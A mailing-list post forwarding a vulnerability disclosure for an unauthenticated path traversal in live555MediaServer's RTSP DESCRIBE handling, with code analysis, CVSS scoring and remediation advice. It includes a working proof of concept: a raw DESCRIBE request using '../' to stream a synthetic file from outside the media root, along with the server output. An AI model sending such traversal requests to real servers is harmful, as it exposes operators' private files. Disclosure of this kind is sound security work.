[Live-devel] Fwd: Unauthenticated path traversal via RTSP DESCRIBE

[A. Ramos]

Hello all,
I'm leaving this note here in case you find it useful; perhaps you'll
see it differently and not consider it a vulnerability in itself.

# Unauthenticated path traversal via RTSP DESCRIBE in `live555MediaServer`

## Summary

`live555MediaServer` appears to accept the path component of an RTSP
`DESCRIBE` request and use it as a filesystem path without sufficient
canonicalisation or path traversal checks.

A remote unauthenticated attacker can use `../` path traversal
sequences in the RTSP URL to cause the server to open files outside
the intended media-serving directory. If the target file is readable
by the server process and has a media extension supported by LIVE555,
the attacker can receive the file content through the normal RTSP/RTP
streaming flow.

This was validated with a synthetic WAV file placed outside the server
working directory. The file was successfully accessed and streamed
using `DESCRIBE`, `SETUP` and `PLAY`.

## Affected component

- Project: LIVE555 / liveMedia
- Binary: `live555MediaServer`
- Tested version/banner: `LIVE555 Streaming Media v2026.05.30`
- Affected area: RTSP URL path handling and filesystem dispatch
- Entry point: unauthenticated RTSP `DESCRIBE`
- Default port observed in test: TCP/554

## Vulnerability type

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-23: Relative Path Traversal
- CWE-73: External Control of File Name or Path

## Severity

Suggested severity: **High**

Suggested CVSS v4.0:

```text
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:A
```

Suggested score: **8.7**

Rationale:

- Network reachable.
- No authentication required in the tested default configuration.
- Low attack complexity.
- No user interaction required.
- Demonstrated confidentiality impact through file-content disclosure.
- No direct integrity or availability impact demonstrated.

## Technical details

The RTSP request path is parsed into URL components and later
reconstructed into a stream name. This stream name is then used as a
filesystem path.

The relevant flow is:

1. An attacker sends an RTSP `DESCRIBE` request containing traversal
sequences such as `../`.
2. LIVE555 parses the RTSP request URL.
3. The parsed path is passed into the media session lookup logic.
4. `live555MediaServer` attempts to open the attacker-controlled path
using `fopen(streamName, "rb")`.
5. If the file exists and is supported by one of the media handlers,
LIVE555 exposes it through the normal RTSP/RTP streaming flow.

Relevant code areas identified during review:

```text
src/live/liveMedia/RTSPCommon.cpp
  parseRTSPRequestString()
  decodeURL()

src/live/liveMedia/RTSPServer.cpp
  RTSPServer::RTSPClientConnection::handleCmd_DESCRIBE()

src/live/mediaServer/DynamicRTSPServer.cpp
  DynamicRTSPServer::lookupServerMediaSession()
  createNewSMS()
```

The critical sink is:

```cpp
FILE* fid = fopen(streamName, "rb");
```

The tested path reaches this call without rejecting traversal segments
such as `../`.

## Proof of concept

The following proof of concept uses a synthetic secret file outside
the server working directory.

### Test setup

Create a file outside the media server working directory:

```bash
mkdir -p /tmp/cc-0001-secret

python3 - <<'PY'
import wave

payload = (
    b"CODECOME_SECRET_TOKEN=rtsp-path-traversal-test\n" * 40
)

with wave.open("/tmp/cc-0001-secret/api-token.wav", "wb") as w:
    w.setnchannels(1)
    w.setsampwidth(2)
    w.setframerate(8000)
    w.writeframes(payload.ljust(2000, b"\x00"))
PY
```

Start `live555MediaServer` from a different directory:

```bash
mkdir -p /tmp/live555-cwd
cd /tmp/live555-cwd

/path/to/live555MediaServer
```

### RTSP request

Send a traversal path pointing outside the server working directory:

```text
DESCRIBE rtsp://127.0.0.1:554/../cc-0001-secret/api-token.wav RTSP/1.0
CSeq: 1
User-Agent: cc-0001-test
Accept: application/sdp
```

### Observed vulnerable response

The server returns `200 OK` and includes the traversed path in the SDP response:

```text
RTSP/1.0 200 OK
Content-Base: rtsp://127.0.0.1/../cc-0001-secret/api-token.wav/
Content-Type: application/sdp

v=0
s=WAV Audio Stream, streamed by the LIVE555 Media Server
i=../cc-0001-secret/api-token.wav
a=tool:LIVE555 Streaming Media v2026.05.30
a=control:*
m=audio 0 RTP/AVP 96
a=rtpmap:96 L16/8000
a=control:track1
```

A complete exploitation flow using:

```text
DESCRIBE
SETUP
PLAY
```

successfully recovered the synthetic marker string from RTP payload data:

```text
CODECOME_SECRET_TOKEN=rtsp-path-traversal-test
```

## Impact

A remote unauthenticated attacker may be able to read files outside
the intended media directory, depending on deployment conditions.

The impact is strongest when:

- `live555MediaServer` is exposed to an untrusted network.
- Authentication is not enabled.
- The server process can read sensitive files.
- Sensitive files are present with, or reachable through, a supported
media extension.
- The server runs from a directory adjacent to sensitive content.
- Symlinks or operator-created media files point to sensitive locations.

Supported extensions observed in the dispatch logic include, among others:

```text
.aac
.amr
.ac3
.m4e
.264
.265
.mp3
.mpg
.vob
.ts
.wav
.dv
.mkv
.webm
.ogg
.ogv
.opus
```

This should not be described as unconditional arbitrary file read of
every file on the host. In practice, disclosure is constrained by:

- filesystem permissions of the server process;
- whether the target path can be opened;
- whether the target file has a supported extension or is otherwise
accepted by the media handler;
- whether the media parser can process enough of the file to stream content.

However, the demonstrated case confirms that attacker-controlled
traversal can escape the intended media root and disclose file
content.

## Reproduction result

The issue was reproduced in a controlled environment with:

```text
target=127.0.0.1:554
traversed_path=../cc-0001-secret/api-token.wav
describe_status=200
rtp_payload_type=96 L16/8000
rtp_packets=2
rtp_payload_bytes=2000
success=true
```

The test file was outside the server working directory and was not
intended to be served.

## Expected behaviour

The server should reject RTSP URLs that resolve outside the configured
media root.

Examples of expected safe behaviour:

- Reject paths containing `..` after URL decoding.
- Reject absolute paths.
- Canonicalise the requested path and verify that it remains under the
configured media root.
- Return `403 Forbidden` or `404 Stream Not Found` for traversal attempts.
- Avoid exposing filesystem-derived paths in SDP responses.

## Suggested remediation

Recommended defensive changes:

1. Introduce an explicit media root directory.
2. Canonicalise the requested path before opening it.
3. Reject any path whose canonical form escapes the media root.
4. Reject absolute paths from RTSP request URLs.
5. Reject `..` segments after percent-decoding.
6. Consider using `openat()` with a media-root directory file
descriptor and platform-specific “beneath root” protections where
available.
7. Avoid relying on file extensions as a security boundary.
8. Consider enabling authentication by default or documenting the risk
clearly for exposed deployments.

Example high-level logic:

```cpp
std::filesystem::path root = std::filesystem::canonical(mediaRoot);
std::filesystem::path requested =
std::filesystem::weakly_canonical(root / userSuppliedPath);

if (!isPathInside(requested, root)) {
    rejectRequest();
    return;
}

FILE* fid = fopen(requested.c_str(), "rb");
```

The exact implementation should take care with symlinks, race
conditions and cross-platform path semantics.

## Security boundary crossed

The issue crosses the following boundary:

```text
anonymous remote RTSP client
        ->
RTSP URL parser
        ->
local filesystem path
        ->
fopen()
        ->
RTSP/RTP media streaming
```

The attacker controls data that is eventually interpreted as a local
filesystem path.

## Notes

This report intentionally uses a synthetic test file and does not
include any real secret material.

The demonstrated impact is file disclosure through RTSP/RTP streaming.
No code execution or file modification was demonstrated for this
issue.


-- 
Alejandro Ramos
@aramosf